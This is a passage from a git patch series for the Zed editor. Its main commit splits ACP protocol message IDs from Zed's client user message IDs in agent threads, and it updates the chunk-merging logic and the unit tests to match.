     "inline_blame": {
       "enabled": true,             // Show/hide inline blame
-      "delay_ms": 0,                  // Show after delay (ms)
+      "delay_ms": 0,               // Show after delay (ms)
+      "location": "inline",        // inline, status_bar
       "min_column": 0,             // Minimum column to inline display blame
       "padding": 7,                // Padding between code and inline blame (em)
       "show_commit_summary": false // Show/hide commit summary

From 70fd3c577468f109d123defaeef436081ff0727c Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Mon, 29 Jun 2026 09:21:09 +0200
Subject: [PATCH 143/772] acp: Handle acp message ids when we get them (#59927)

This separates the two user-message identities we currently need in
agent threads:

- `protocol_id`: the ACP `messageId` used to group or split streamed
message chunks from ACP agents.
- `client_id`: the Zed-generated user message ID used by the native
agent for truncate, rewind, edit/regenerate, checkpoints, token usage,
and persistence.

The main behavior change is that ACP protocol message IDs now affect
message merging/rendering without leaking Zed-native client IDs into ACP
agents by default. Agents that can accept Zed-generated user message IDs
opt into that path through `AgentSessionClientUserMessageIds`, which
owns both ID generation and prompt submission. The native Zed agent
implements that capability; normal ACP agents continue through the
protocol-only `prompt` path.

In ACP v2 we'll have a mechanism for getting user message replays that
will allow the agent to adequately generate it's own opaque id that we
can then use for these other capabilities. But for now, this split at
least makes sure we keep the two concepts distinct.

Release Notes:

- N/A

---------

Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de>
---
 crates/acp_thread/src/acp_thread.rs           | 675 +++++++++++++++---
 crates/acp_thread/src/connection.rs           |  61 +-
 crates/agent/src/agent.rs                     | 217 +++---
 crates/agent/src/db.rs                        |   6 +-
 crates/agent/src/tests/mod.rs                 | 175 ++---
 crates/agent/src/thread.rs                    | 104 +--
 crates/agent_servers/src/acp.rs               |  15 +-
 crates/agent_ui/src/agent_panel.rs            |   4 +-
 crates/agent_ui/src/conversation_view.rs      |  18 +-
 .../conversation_view/thread_search_bar.rs    |   4 +-
 .../src/conversation_view/thread_view.rs      |  43 +-
 crates/agent_ui/src/entry_view_state.rs       |   4 +-
 crates/eval_cli/src/main.rs                   |   2 +-
 13 files changed, 971 insertions(+), 357 deletions(-)

diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index 1efe43188b4338..07c6cb092e9268 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -283,7 +283,9 @@ pub fn subagent_session_info_from_meta(meta: &Option<acp::Meta>) -> Option<Subag
 
 #[derive(Debug)]
 pub struct UserMessage {
-    pub id: Option<UserMessageId>,
+    pub protocol_id: Option<acp::MessageId>,
+    pub client_id: Option<ClientUserMessageId>,
+    pub is_optimistic: bool,
     pub content: ContentBlock,
     pub chunks: Vec<acp::ContentBlock>,
     pub checkpoint: Option<Checkpoint>,
@@ -336,8 +338,14 @@ impl AssistantMessage {
 
 #[derive(Debug, PartialEq)]
 pub enum AssistantMessageChunk {
-    Message { block: ContentBlock },
-    Thought { block: ContentBlock },
+    Message {
+        id: Option<acp::MessageId>,
+        block: ContentBlock,
+    },
+    Thought {
+        id: Option<acp::MessageId>,
+        block: ContentBlock,
+    },
 }
 
 impl AssistantMessageChunk {
@@ -348,20 +356,31 @@ impl AssistantMessageChunk {
         cx: &mut App,
     ) -> Self {
         Self::Message {
+            id: None,
             block: ContentBlock::new(chunk.into(), language_registry, path_style, cx),
         }
     }
 
     fn to_markdown(&self, cx: &App) -> String {
         match self {
-            Self::Message { block } => block.to_markdown(cx).to_string(),
-            Self::Thought { block } => {
+            Self::Message { block, .. } => block.to_markdown(cx).to_string(),
+            Self::Thought { block, .. } => {
                 format!("<thinking>\n{}\n</thinking>", block.to_markdown(cx))
             }
         }
     }
 }
 
+fn can_merge_message_chunks(
+    existing: Option<&acp::MessageId>,
+    incoming: Option<&acp::MessageId>,
+) -> bool {
+    match (existing, incoming) {
+        (Some(existing), Some(incoming)) => existing == incoming,
+        _ => true,
+    }
+}
+
 #[derive(Debug)]
 pub enum AgentThreadEntry {
     UserMessage(UserMessage),
@@ -2014,8 +2033,8 @@ impl AcpThread {
             };
             for chunk in chunks {
                 let block = match chunk {
-                    AssistantMessageChunk::Message { block } => block,
-                    AssistantMessageChunk::Thought { block } => block,
+                    AssistantMessageChunk::Message { block, .. } => block,
+                    AssistantMessageChunk::Thought { block, .. } => block,
                 };
                 if let Some(markdown) = block.markdown() {
                     markdown.update(cx, |markdown, cx| {
@@ -2142,24 +2161,54 @@ impl AcpThread {
         cx: &mut Context<Self>,
     ) -> Result<(), acp::Error> {
         match update {
-            acp::SessionUpdate::UserMessageChunk(acp::ContentChunk { content, .. }) => {
+            acp::SessionUpdate::UserMessageChunk(acp::ContentChunk {
+                content,
+                message_id,
+                ..
+            }) => {
                 // We optimistically add the full user prompt before calling `prompt`.
-                // Some ACP servers echo user chunks back over updates. Skip the chunk if
-                // it's already present in the current user message to avoid duplicating content.
+                // Some ACP servers echo user chunks back over updates. Skip echoed
+                // chunks only when they match the local optimistic message.
                 let already_in_user_message = self
                     .entries
-                    .last()
-                    .and_then(|entry| entry.user_message())
-                    .is_some_and(|message| message.chunks.contains(&content));
+                    .last_mut()
+                    .and_then(|entry| match entry {
+                        AgentThreadEntry::UserMessage(message) => Some(message),
+                        _ => None,
+                    })
+                    .is_some_and(|message| {
+                        let already_in_user_message = message.is_optimistic
+                            && message.chunks.contains(&content)
+                            && can_merge_message_chunks(
+                                message.protocol_id.as_ref(),
+                                message_id.as_ref(),
+                            );
+                        if already_in_user_message && message.protocol_id.is_none() {
+                            message.protocol_id = message_id.clone();
+                        }
+                        already_in_user_message
+                    });
                 if !already_in_user_message {
-                    self.push_user_content_block(None, content, cx);
+                    self.push_user_content_block_from_agent(message_id, content, cx);
                 }
             }
-            acp::SessionUpdate::AgentMessageChunk(acp::ContentChunk { content, .. }) => {
-                self.push_assistant_content_block(content, false, cx);
+            acp::SessionUpdate::AgentMessageChunk(acp::ContentChunk {
+                content,
+                message_id,
+                ..
+            }) => {
+                self.push_assistant_content_block_with_message_id(
+                    message_id, content, false, false, cx,
+                );
             }
-            acp::SessionUpdate::AgentThoughtChunk(acp::ContentChunk { content, .. }) => {
-                self.push_assistant_content_block(content, true, cx);
+            acp::SessionUpdate::AgentThoughtChunk(acp::ContentChunk {
+                content,
+                message_id,
+                ..
+            }) => {
+                self.push_assistant_content_block_with_message_id(
+                    message_id, content, true, false, cx,
+                );
             }
             acp::SessionUpdate::ToolCall(tool_call) => {
                 self.upsert_tool_call(tool_call, cx)?;
@@ -2216,16 +2265,44 @@ impl AcpThread {
 
     pub fn push_user_content_block(
         &mut self,
-        message_id: Option<UserMessageId>,
+        client_id: Option<ClientUserMessageId>,
         chunk: acp::ContentBlock,
         cx: &mut Context<Self>,
     ) {
-        self.push_user_content_block_with_indent(message_id, chunk, false, cx)
+        self.push_user_content_block_with_indent(client_id, chunk, false, cx)
     }
 
     pub fn push_user_content_block_with_indent(
         &mut self,
-        message_id: Option<UserMessageId>,
+        client_id: Option<ClientUserMessageId>,
+        chunk: acp::ContentBlock,
+        indented: bool,
+        cx: &mut Context<Self>,
+    ) {
+        self.push_user_content_block_with_protocol_id(
+            client_id.clone(),
+            client_id.is_some(),
+            None,
+            chunk,
+            indented,
+            cx,
+        )
+    }
+
+    fn push_user_content_block_from_agent(
+        &mut self,
+        id: Option<acp::MessageId>,
+        chunk: acp::ContentBlock,
+        cx: &mut Context<Self>,
+    ) {
+        self.push_user_content_block_with_protocol_id(None, false, id, chunk, false, cx)
+    }
+
+    fn push_user_content_block_with_protocol_id(
+        &mut self,
+        incoming_client_id: Option<ClientUserMessageId>,
+        is_optimistic: bool,
+        protocol_id: Option<acp::MessageId>,
         chunk: acp::ContentBlock,
         indented: bool,
         cx: &mut Context<Self>,
@@ -2236,16 +2313,29 @@ impl AcpThread {
 
         if let Some(last_entry) = self.entries.last_mut()
             && let AgentThreadEntry::UserMessage(UserMessage {
-                id,
+                protocol_id: existing_protocol_id,
+                client_id: existing_client_id,
                 content,
                 chunks,
+                is_optimistic: existing_is_optimistic,
                 indented: existing_indented,
                 ..
             }) = last_entry
             && *existing_indented == indented
+            && can_merge_message_chunks(existing_protocol_id.as_ref(), protocol_id.as_ref())
+            && !(*existing_is_optimistic
+                && !is_optimistic
+                && existing_protocol_id.is_none()
+                && protocol_id.is_some())
         {
             Self::flush_streaming_text(&mut self.streaming_text_buffer, cx);
-            *id = message_id.or(id.take());
+            if let Some(incoming_client_id) = incoming_client_id {
+                *existing_client_id = Some(incoming_client_id);
+            }
+            *existing_is_optimistic |= is_optimistic;
+            if existing_protocol_id.is_none() {
+                *existing_protocol_id = protocol_id;
+            }
             content.append(chunk.clone(), &language_registry, path_style, cx);
             chunks.push(chunk);
             let idx = entries_len - 1;
@@ -2254,7 +2344,9 @@ impl AcpThread {
             let content = ContentBlock::new(chunk.clone(), &language_registry, path_style, cx);
             self.push_entry(
                 AgentThreadEntry::UserMessage(UserMessage {
-                    id: message_id,
+                    protocol_id,
+                    client_id: incoming_client_id,
+                    is_optimistic,
                     content,
                     chunks: vec![chunk],
                     checkpoint: None,
@@ -2280,13 +2372,26 @@ impl AcpThread {
         is_thought: bool,
         indented: bool,
         cx: &mut Context<Self>,
+    ) {
+        self.push_assistant_content_block_with_message_id(None, chunk, is_thought, indented, cx)
+    }
+
+    fn push_assistant_content_block_with_message_id(
+        &mut self,
+        message_id: Option<acp::MessageId>,
+        chunk: acp::ContentBlock,
+        is_thought: bool,
+        indented: bool,
+        cx: &mut Context<Self>,
     ) {
         let path_style = self.project.read(cx).path_style(cx);
 
         // For text chunks going to an existing Markdown block, buffer for smooth
         // streaming instead of appending all at once which may feel more choppy.
         if let acp::ContentBlock::Text(text_content) = &chunk {
-            if let Some(markdown) = self.streaming_markdown_target(is_thought, indented) {
+            if let Some(markdown) =
+                self.streaming_markdown_target(message_id.as_ref(), is_thought, indented)
+            {
                 let entries_len = self.entries.len();
                 cx.emit(AcpThreadEvent::EntryUpdated(entries_len - 1));
                 self.buffer_streaming_text(&markdown, text_content.text.clone(), cx);
@@ -2308,25 +2413,52 @@ impl AcpThread {
             Self::flush_streaming_text(&mut self.streaming_text_buffer, cx);
             cx.emit(AcpThreadEvent::EntryUpdated(idx));
             match (chunks.last_mut(), is_thought) {
-                (Some(AssistantMessageChunk::Message { block }), false)
-                | (Some(AssistantMessageChunk::Thought { block }), true) => {
+                (
+                    Some(AssistantMessageChunk::Message {
+                        id: existing_id,
+                        block,
+                    }),
+                    false,
+                )
+                | (
+                    Some(AssistantMessageChunk::Thought {
+                        id: existing_id,
+                        block,
+                    }),
+                    true,
+                ) if can_merge_message_chunks(existing_id.as_ref(), message_id.as_ref()) => {
+                    if existing_id.is_none() {
+                        *existing_id = message_id;
+                    }
                     block.append(chunk, &language_registry, path_style, cx)
                 }
                 _ => {
                     let block = ContentBlock::new(chunk, &language_registry, path_style, cx);
                     if is_thought {
-                        chunks.push(AssistantMessageChunk::Thought { block })
+                        chunks.push(AssistantMessageChunk::Thought {
+                            id: message_id,
+                            block,
+                        })
                     } else {
-                        chunks.push(AssistantMessageChunk::Message { block })
+                        chunks.push(AssistantMessageChunk::Message {
+                            id: message_id,
+                            block,
+                        })
                     }
                 }
             }
         } else {
             let block = ContentBlock::new(chunk, &language_registry, path_style, cx);
             let chunk = if is_thought {
-                AssistantMessageChunk::Thought { block }
+                AssistantMessageChunk::Thought {
+                    id: message_id,
+                    block,
+                }
             } else {
-                AssistantMessageChunk::Message { block }
+                AssistantMessageChunk::Message {
+                    id: message_id,
+                    block,
+                }
             };
 
             self.push_entry(
@@ -2341,32 +2473,40 @@ impl AcpThread {
     }
 
     fn streaming_markdown_target(
-        &self,
+        &mut self,
+        message_id: Option<&acp::MessageId>,
         is_thought: bool,
         indented: bool,
     ) -> Option<Entity<Markdown>> {
-        let last_entry = self.entries.last()?;
+        let last_entry = self.entries.last_mut()?;
         if let AgentThreadEntry::AssistantMessage(AssistantMessage {
             chunks,
             indented: existing_indented,
             ..
         }) = last_entry
             && *existing_indented == indented
-            && let [.., chunk] = chunks.as_slice()
+            && let [.., chunk] = chunks.as_mut_slice()
         {
             match (chunk, is_thought) {
                 (
                     AssistantMessageChunk::Message {
+                        id: existing_id,
                         block: ContentBlock::Markdown { markdown },
                     },
                     false,
                 )
                 | (
                     AssistantMessageChunk::Thought {
+                        id: existing_id,
                         block: ContentBlock::Markdown { markdown },
                     },
                     true,
-                ) => Some(markdown.clone()),
+                ) if can_merge_message_chunks(existing_id.as_ref(), message_id) => {
+                    if existing_id.is_none() {
+                        *existing_id = message_id.cloned();
+                    }
+                    Some(markdown.clone())
+                }
                 _ => None,
             }
         } else {
@@ -3039,14 +3179,19 @@ impl AcpThread {
         let request = acp::PromptRequest::new(self.session_id.clone(), message.clone());
         let git_store = self.project.read(cx).git_store().clone();
 
-        let message_id = UserMessageId::new();
+        let client_user_message_ids = self.connection.client_user_message_ids(cx);
+        let client_id = client_user_message_ids
+            .as_ref()
+            .map(|client_user_message_ids| client_user_message_ids.new_id());
 
         self.run_turn(cx, async move |this, cx| {
             if push_user_message {
                 this.update(cx, |this, cx| {
                     this.push_entry(
                         AgentThreadEntry::UserMessage(UserMessage {
-                            id: Some(message_id.clone()),
+                            protocol_id: None,
+                            client_id: client_id.clone(),
+                            is_optimistic: true,
                             content: block,
                             chunks: message,
                             checkpoint: None,
@@ -3074,7 +3219,11 @@ impl AcpThread {
             }
 
             this.update(cx, |this, cx| {
-                this.connection.prompt(message_id, request, cx)
+                if let (Some(prompt), Some(client_id)) = (client_user_message_ids, client_id) {
+                    prompt.prompt(client_id, request, cx)
+                } else {
+                    this.connection.prompt(request, cx)
+                }
             })?
             .await
         })
@@ -3295,10 +3444,10 @@ impl AcpThread {
     /// Restores the git working tree to the state at the given checkpoint (if one exists)
     pub fn restore_checkpoint(
         &mut self,
-        id: UserMessageId,
+        client_id: ClientUserMessageId,
         cx: &mut Context<Self>,
     ) -> Task<Result<()>> {
-        let Some((_, message)) = self.user_message_mut(&id) else {
+        let Some((_, message)) = self.user_message_mut(&client_id) else {
             return Task::ready(Err(anyhow!("message not found")));
         };
 
@@ -3309,7 +3458,7 @@ impl AcpThread {
 
         // Cancel any in-progress generation before restoring
         let cancel_task = self.cancel(cx);
-        let rewind = self.rewind(id.clone(), cx);
+        let rewind = self.rewind(client_id.clone(), cx);
         let git_store = self.project.read(cx).git_store().clone();
 
         cx.spawn(async move |_, cx| {
@@ -3328,7 +3477,11 @@ impl AcpThread {
     /// Rewinds this thread to before the entry at `index`, removing it and all
     /// subsequent entries while rejecting any action_log changes made from that point.
     /// Unlike `restore_checkpoint`, this method does not restore from git.
-    pub fn rewind(&mut self, id: UserMessageId, cx: &mut Context<Self>) -> Task<Result<()>> {
+    pub fn rewind(
+        &mut self,
+        client_id: ClientUserMessageId,
+        cx: &mut Context<Self>,
+    ) -> Task<Result<()>> {
         let Some(truncate) = self.connection.truncate(&self.session_id, cx) else {
             return Task::ready(Err(anyhow!("not supported")));
         };
@@ -3336,9 +3489,9 @@ impl AcpThread {
         Self::flush_streaming_text(&mut self.streaming_text_buffer, cx);
         let telemetry = ActionLogTelemetry::from(&*self);
         cx.spawn(async move |this, cx| {
-            cx.update(|cx| truncate.run(id.clone(), cx)).await?;
+            cx.update(|cx| truncate.run(client_id.clone(), cx)).await?;
             this.update(cx, |this, cx| {
-                if let Some((ix, _)) = this.user_message_mut(&id) {
+                if let Some((ix, _)) = this.user_message_mut(&client_id) {
                     // Collect all terminals from entries that will be removed
                     let terminals_to_remove: Vec<acp::TerminalId> = this.entries[ix..]
                         .iter()
@@ -3375,13 +3528,11 @@ impl AcpThread {
 
         let git_store = self.project.read(cx).git_store().clone();
 
-        let Some((user_message_id, checkpoint)) =
-            self.last_user_message().and_then(|(_, message)| {
-                let id = message.id.clone()?;
-                let checkpoint = message.checkpoint.as_ref()?;
-                Some((id, checkpoint))
-            })
-        else {
+        let Some((client_id, checkpoint)) = self.last_user_message().and_then(|(_, message)| {
+            let id = message.client_id.clone()?;
+            let checkpoint = message.checkpoint.as_ref()?;
+            Some((id, checkpoint))
+        }) else {
             return Task::ready(Ok(()));
         };
         if checkpoint.show {
@@ -3426,7 +3577,7 @@ impl AcpThread {
                 let Some((ix, message)) = this.last_user_message() else {
                     return;
                 };
-                if message.id.as_ref() != Some(&user_message_id) {
+                if message.client_id.as_ref() != Some(&client_id) {
                     return;
                 }
                 if let Some(checkpoint) = message.checkpoint.as_mut()
@@ -3447,7 +3598,7 @@ impl AcpThread {
         let Some((_, message)) = self.last_user_message() else {
             return Task::ready(Ok(()));
         };
-        let Some(user_message_id) = message.id.clone() else {
+        let Some(client_id) = message.client_id.clone() else {
             return Task::ready(Ok(()));
         };
         let Some(checkpoint) = message.checkpoint.as_ref() else {
@@ -3473,7 +3624,7 @@ impl AcpThread {
                 .unwrap_or(true);
 
             this.update(cx, |this, cx| {
-                if let Some((ix, message)) = this.user_message_mut(&user_message_id) {
+                if let Some((ix, message)) = this.user_message_mut(&client_id) {
                     if let Some(checkpoint) = message.checkpoint.as_mut() {
                         checkpoint.show = !equal;
                         cx.emit(AcpThreadEvent::EntryUpdated(ix));
@@ -3499,10 +3650,13 @@ impl AcpThread {
             })
     }
 
-    fn user_message_mut(&mut self, id: &UserMessageId) -> Option<(usize, &mut UserMessage)> {
+    fn user_message_mut(
+        &mut self,
+        client_id: &ClientUserMessageId,
+    ) -> Option<(usize, &mut UserMessage)> {
         self.entries.iter_mut().enumerate().find_map(|(ix, entry)| {
             if let AgentThreadEntry::UserMessage(message) = entry {
-                if message.id.as_ref() == Some(id) {
+                if message.client_id.as_ref() == Some(client_id) {
                     Some((ix, message))
                 } else {
                     None
@@ -4083,6 +4237,23 @@ mod tests {
         assert_eq!(command_category_from_meta(&Some(unknown)), None);
     }
 
+    #[test]
+    fn client_user_message_id_serializes_as_string() {
+        let serialized =
+            serde_json::to_value(ClientUserMessageId::new()).expect("serialize client message id");
+        assert!(
+            serialized.is_string(),
+            "expected string, got {serialized:?}"
+        );
+
+        let deserialized: ClientUserMessageId =
+            serde_json::from_value(json!("client-id")).expect("deserialize client message id");
+        assert_eq!(
+            serde_json::to_value(deserialized).expect("serialize client message id"),
+            json!("client-id")
+        );
+    }
+
     fn init_test(cx: &mut TestAppContext) {
         env_logger::try_init().ok();
         cx.update(|cx| {
@@ -4625,7 +4796,8 @@ mod tests {
         thread.update(cx, |thread, cx| {
             assert_eq!(thread.entries.len(), 1);
             if let AgentThreadEntry::UserMessage(user_msg) = &thread.entries[0] {
-                assert_eq!(user_msg.id, None);
+                assert_eq!(user_msg.protocol_id, None);
+                assert_eq!(user_msg.client_id, None);
                 assert_eq!(user_msg.content.to_markdown(cx), "Hello, ");
             } else {
                 panic!("Expected UserMessage");
@@ -4633,7 +4805,7 @@ mod tests {
         });
 
         // Test appending to existing user message
-        let message_1_id = UserMessageId::new();
+        let message_1_id = ClientUserMessageId::new();
         thread.update(cx, |thread, cx| {
             thread.push_user_content_block(Some(message_1_id.clone()), "world!".into(), cx);
         });
@@ -4641,7 +4813,8 @@ mod tests {
         thread.update(cx, |thread, cx| {
             assert_eq!(thread.entries.len(), 1);
             if let AgentThreadEntry::UserMessage(user_msg) = &thread.entries[0] {
-                assert_eq!(user_msg.id, Some(message_1_id));
+                assert_eq!(user_msg.protocol_id, None);
+                assert_eq!(user_msg.client_id, Some(message_1_id));
                 assert_eq!(user_msg.content.to_markdown(cx), "Hello, world!");
             } else {
                 panic!("Expected UserMessage");
@@ -4653,7 +4826,7 @@ mod tests {
             thread.push_assistant_content_block("Assistant response".into(), false, cx);
         });
 
-        let message_2_id = UserMessageId::new();
+        let message_2_id = ClientUserMessageId::new();
         thread.update(cx, |thread, cx| {
             thread.push_user_content_block(
                 Some(message_2_id.clone()),
@@ -4665,7 +4838,8 @@ mod tests {
         thread.update(cx, |thread, cx| {
             assert_eq!(thread.entries.len(), 3);
             if let AgentThreadEntry::UserMessage(user_msg) = &thread.entries[2] {
-                assert_eq!(user_msg.id, Some(message_2_id));
+                assert_eq!(user_msg.protocol_id, None);
+                assert_eq!(user_msg.client_id, Some(message_2_id));
                 assert_eq!(user_msg.content.to_markdown(cx), "New user message");
             } else {
                 panic!("Expected UserMessage at index 2");
@@ -4673,6 +4847,285 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_user_message_chunks_use_protocol_message_id_boundaries(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, [], cx).await;
+        let connection = Rc::new(FakeAgentConnection::new());
+        let thread = cx
+            .update(|cx| {
+                connection.new_session(project, PathList::new(&[Path::new(path!("/test"))]), cx)
+            })
+            .await
+            .unwrap();
+
+        thread.update(cx, |thread, cx| {
+            thread
+                .handle_session_update(
+                    acp::SessionUpdate::UserMessageChunk(
+                        acp::ContentChunk::new("First ".into()).message_id("msg_user_1"),
+                    ),
+                    cx,
+                )
+                .unwrap();
+            thread
+                .handle_session_update(
+                    acp::SessionUpdate::UserMessageChunk(
+                        acp::ContentChunk::new("message".into()).message_id("msg_user_1"),
+                    ),
+                    cx,
+                )
+                .unwrap();
+            thread
+                .handle_session_update(
+                    acp::SessionUpdate::UserMessageChunk(
+                        acp::ContentChunk::new("Second message".into()).message_id("msg_user_2"),
+                    ),
+                    cx,
+                )
+                .unwrap();
+            thread
+                .handle_session_update(
+                    acp::SessionUpdate::UserMessageChunk(
+                        acp::ContentChunk::new("Echo".into()).message_id("msg_user_3"),
+                    ),
+                    cx,
+                )
+                .unwrap();
+            thread
+                .handle_session_update(
+                    acp::SessionUpdate::UserMessageChunk(
+                        acp::ContentChunk::new("Echo".into()).message_id("msg_user_3"),
+                    ),
+                    cx,
+                )
+                .unwrap();
+        });
+
+        thread.update(cx, |thread, cx| {
+            assert_eq!(thread.entries.len(), 3);
+
+            let AgentThreadEntry::UserMessage(first_message) = &thread.entries[0] else {
+                panic!("expected first entry to be a user message")
+            };
+            assert_eq!(first_message.content.to_markdown(cx), "First message");
+            assert_eq!(
+                first_message
+                    .protocol_id
+                    .as_ref()
+                    .map(ToString::to_string)
+                    .as_deref(),
+                Some("msg_user_1")
+            );
+
+            let AgentThreadEntry::UserMessage(second_message) = &thread.entries[1] else {
+                panic!("expected second entry to be a user message")
+            };
+            assert_eq!(second_message.content.to_markdown(cx), "Second message");
+            assert_eq!(
+                second_message
+                    .protocol_id
+                    .as_ref()
+                    .map(ToString::to_string)
+                    .as_deref(),
+                Some("msg_user_2")
+            );
+
+            let AgentThreadEntry::UserMessage(third_message) = &thread.entries[2] else {
+                panic!("expected third entry to be a user message")
+            };
+            assert_eq!(third_message.content.to_markdown(cx), "EchoEcho");
+            assert_eq!(
+                third_message
+                    .protocol_id
+                    .as_ref()
+                    .map(ToString::to_string)
+                    .as_deref(),
+                Some("msg_user_3")
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_protocol_user_chunk_does_not_merge_into_optimistic_prompt(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, [], cx).await;
+        let connection = Rc::new(FakeAgentConnection::new());
+        let thread = cx
+            .update(|cx| {
+                connection.new_session(project, PathList::new(&[Path::new(path!("/test"))]), cx)
+            })
+            .await
+            .unwrap();
+
+        thread.update(cx, |thread, cx| {
+            thread.push_user_content_block_with_protocol_id(
+                None,
+                true,
+                None,
+                "Typed prompt".into(),
+                false,
+                cx,
+            );
+            thread
+                .handle_session_update(
+                    acp::SessionUpdate::UserMessageChunk(
+                        acp::ContentChunk::new("Agent user chunk".into())
+                            .message_id("agent_user_chunk"),
+                    ),
+                    cx,
+                )
+                .unwrap();
+        });
+
+        thread.update(cx, |thread, cx| {
+            assert_eq!(thread.entries.len(), 2);
+
+            let AgentThreadEntry::UserMessage(optimistic_message) = &thread.entries[0] else {
+                panic!("expected first entry to be optimistic user message")
+            };
+            assert!(optimistic_message.is_optimistic);
+            assert_eq!(optimistic_message.content.to_markdown(cx), "Typed prompt");
+            assert!(optimistic_message.protocol_id.is_none());
+            assert!(optimistic_message.client_id.is_none());
+
+            let AgentThreadEntry::UserMessage(agent_message) = &thread.entries[1] else {
+                panic!("expected second entry to be protocol user chunk")
+            };
+            assert!(!agent_message.is_optimistic);
+            assert_eq!(agent_message.content.to_markdown(cx), "Agent user chunk");
+            assert_eq!(
+                agent_message
+                    .protocol_id
+                    .as_ref()
+                    .map(ToString::to_string)
+                    .as_deref(),
+                Some("agent_user_chunk")
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_assistant_chunks_use_protocol_message_id_boundaries(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, [], cx).await;
+        let connection = Rc::new(FakeAgentConnection::new());
+        let thread = cx
+            .update(|cx| {
+                connection.new_session(project, PathList::new(&[Path::new(path!("/test"))]), cx)
+            })
+            .await
+            .unwrap();
+
+        thread.update(cx, |thread, cx| {
+            thread
+                .handle_session_update(
+                    acp::SessionUpdate::AgentThoughtChunk(
+                        acp::ContentChunk::new("Thinking ".into()).message_id("msg_thought_1"),
+                    ),
+                    cx,
+                )
+                .unwrap();
+            thread
+                .handle_session_update(
+                    acp::SessionUpdate::AgentThoughtChunk(
+                        acp::ContentChunk::new("hard".into()).message_id("msg_thought_1"),
+                    ),
+                    cx,
+                )
+                .unwrap();
+            thread
+                .handle_session_update(
+                    acp::SessionUpdate::AgentThoughtChunk(
+                        acp::ContentChunk::new("A separate thought".into())
+                            .message_id("msg_thought_2"),
+                    ),
+                    cx,
+                )
+                .unwrap();
+            thread
+                .handle_session_update(
+                    acp::SessionUpdate::AgentMessageChunk(
+                        acp::ContentChunk::new("Answer ".into()).message_id("msg_agent_1"),
+                    ),
+                    cx,
+                )
+                .unwrap();
+            thread
+                .handle_session_update(
+                    acp::SessionUpdate::AgentMessageChunk(
+                        acp::ContentChunk::new("done".into()).message_id("msg_agent_1"),
+                    ),
+                    cx,
+                )
+                .unwrap();
+            thread
+                .handle_session_update(
+                    acp::SessionUpdate::AgentMessageChunk(
+                        acp::ContentChunk::new("Follow-up".into()).message_id("msg_agent_2"),
+                    ),
+                    cx,
+                )
+                .unwrap();
+        });
+
+        thread.update(cx, |thread, cx| {
+            assert_eq!(thread.entries.len(), 1);
+            let AgentThreadEntry::AssistantMessage(message) = &thread.entries[0] else {
+                panic!("expected assistant entry")
+            };
+            assert_eq!(message.chunks.len(), 4);
+
+            let AssistantMessageChunk::Thought { id, block } = &message.chunks[0] else {
+                panic!("expected first chunk to be a thought")
+            };
+            assert_eq!(block.to_markdown(cx), "Thinking hard");
+            assert_eq!(
+                id.as_ref().map(ToString::to_string).as_deref(),
+                Some("msg_thought_1")
+            );
+
+            let AssistantMessageChunk::Thought { id, block } = &message.chunks[1] else {
+                panic!("expected second chunk to be a thought")
+            };
+            assert_eq!(block.to_markdown(cx), "A separate thought");
+            assert_eq!(
+                id.as_ref().map(ToString::to_string).as_deref(),
+                Some("msg_thought_2")
+            );
+
+            let AssistantMessageChunk::Message { id, block } = &message.chunks[2] else {
+                panic!("expected third chunk to be a message")
+            };
+            assert_eq!(block.to_markdown(cx), "Answer done");
+            assert_eq!(
+                id.as_ref().map(ToString::to_string).as_deref(),
+                Some("msg_agent_1")
+            );
+
+            let AssistantMessageChunk::Message { id, block } = &message.chunks[3] else {
+                panic!("expected fourth chunk to be a message")
+            };
+            assert_eq!(block.to_markdown(cx), "Follow-up");
+            assert_eq!(
+                id.as_ref().map(ToString::to_string).as_deref(),
+                Some("msg_agent_2")
+            );
+        });
+    }
+
     #[gpui::test]
     async fn test_thinking_concatenation(cx: &mut gpui::TestAppContext) {
         init_test(cx);
@@ -4818,27 +5271,29 @@ mod tests {
 
         let fs = FakeFs::new(cx.executor());
         let project = Project::test(fs, [], cx).await;
-        let connection = Rc::new(FakeAgentConnection::new().on_user_message(
-            |request, thread, mut cx| {
-                async move {
-                    let prompt = request.prompt.first().cloned().unwrap_or_else(|| "".into());
+        let connection = Rc::new(
+            FakeAgentConnection::new()
+                .without_truncate_support()
+                .on_user_message(|request, thread, mut cx| {
+                    async move {
+                        let prompt = request.prompt.first().cloned().unwrap_or_else(|| "".into());
 
-                    thread.update(&mut cx, |thread, cx| {
-                        thread
-                            .handle_session_update(
-                                acp::SessionUpdate::UserMessageChunk(acp::ContentChunk::new(
-                                    prompt,
-                                )),
-                                cx,
-                            )
-                            .unwrap();
-                    })?;
+                        thread.update(&mut cx, |thread, cx| {
+                            thread
+                                .handle_session_update(
+                                    acp::SessionUpdate::UserMessageChunk(acp::ContentChunk::new(
+                                        prompt,
+                                    )),
+                                    cx,
+                                )
+                                .unwrap();
+                        })?;
 
-                    Ok(acp::PromptResponse::new(acp::StopReason::EndTurn))
-                }
-                .boxed_local()
-            },
-        ));
+                        Ok(acp::PromptResponse::new(acp::StopReason::EndTurn))
+                    }
+                    .boxed_local()
+                }),
+        );
 
         let thread = cx
             .update(|cx| {
@@ -4854,6 +5309,14 @@ mod tests {
 
         let output = thread.read_with(cx, |thread, cx| thread.to_markdown(cx));
         assert_eq!(output.matches("Hello from Zed!").count(), 1);
+        thread.read_with(cx, |thread, _cx| {
+            let Some(AgentThreadEntry::UserMessage(message)) = thread.entries.first() else {
+                panic!("expected optimistic user message");
+            };
+            assert_eq!(message.protocol_id, None);
+            assert_eq!(message.client_id, None);
+            assert!(message.is_optimistic);
+        });
     }
 
     #[gpui::test]
@@ -5900,7 +6363,7 @@ mod tests {
